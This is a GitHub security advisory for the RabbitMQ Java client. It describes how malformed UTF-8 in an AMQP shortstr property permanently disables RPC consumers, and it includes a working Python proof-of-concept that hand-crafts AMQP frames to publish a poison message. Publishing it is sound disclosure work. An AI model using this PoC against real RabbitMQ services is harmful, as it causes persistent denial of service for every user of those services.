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RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

Moderate severity GitHub Reviewed Published Sep 17, 2026 in rabbitmq/rabbitmq-java-client • Updated Oct 7, 2026

Package

maven com.rabbitmq:amqp-client (Maven)

Affected versions

<= 5.35.0

Patched versions

5.36.0

Description

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF_8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

  1. RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently:
    https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

  2. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

  1. Start a broker:
docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq
  1. Publish a message whose correlation-id is 255 × 0xFF:
import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
    + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue")   # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))

# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)
  1. Run a consumer using the tutorial pattern against rpc.poison:
DeliverCallback cb = (tag, delivery) -> {
    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
        .correlationId(delivery.getProperties().getCorrelationId()).build();
    channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact

Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

References

@acogoluegnes acogoluegnes published to rabbitmq/rabbitmq-java-client Sep 17, 2026
Published by the National Vulnerability Database Oct 6, 2026
Published to the GitHub Advisory Database Oct 7, 2026
Reviewed Oct 7, 2026
Last updated Oct 7, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(40th percentile)

Weaknesses

Encoding Error

The product does not properly encode or decode the data, resulting in unexpected values. Learn more on MITRE.

Uncaught Exception

An exception is thrown from a function, but it is not caught. Learn more on MITRE.

CVE ID

CVE-2026-106122

GHSA ID

GHSA-7822-rcf6-97fx

Source code

Credits

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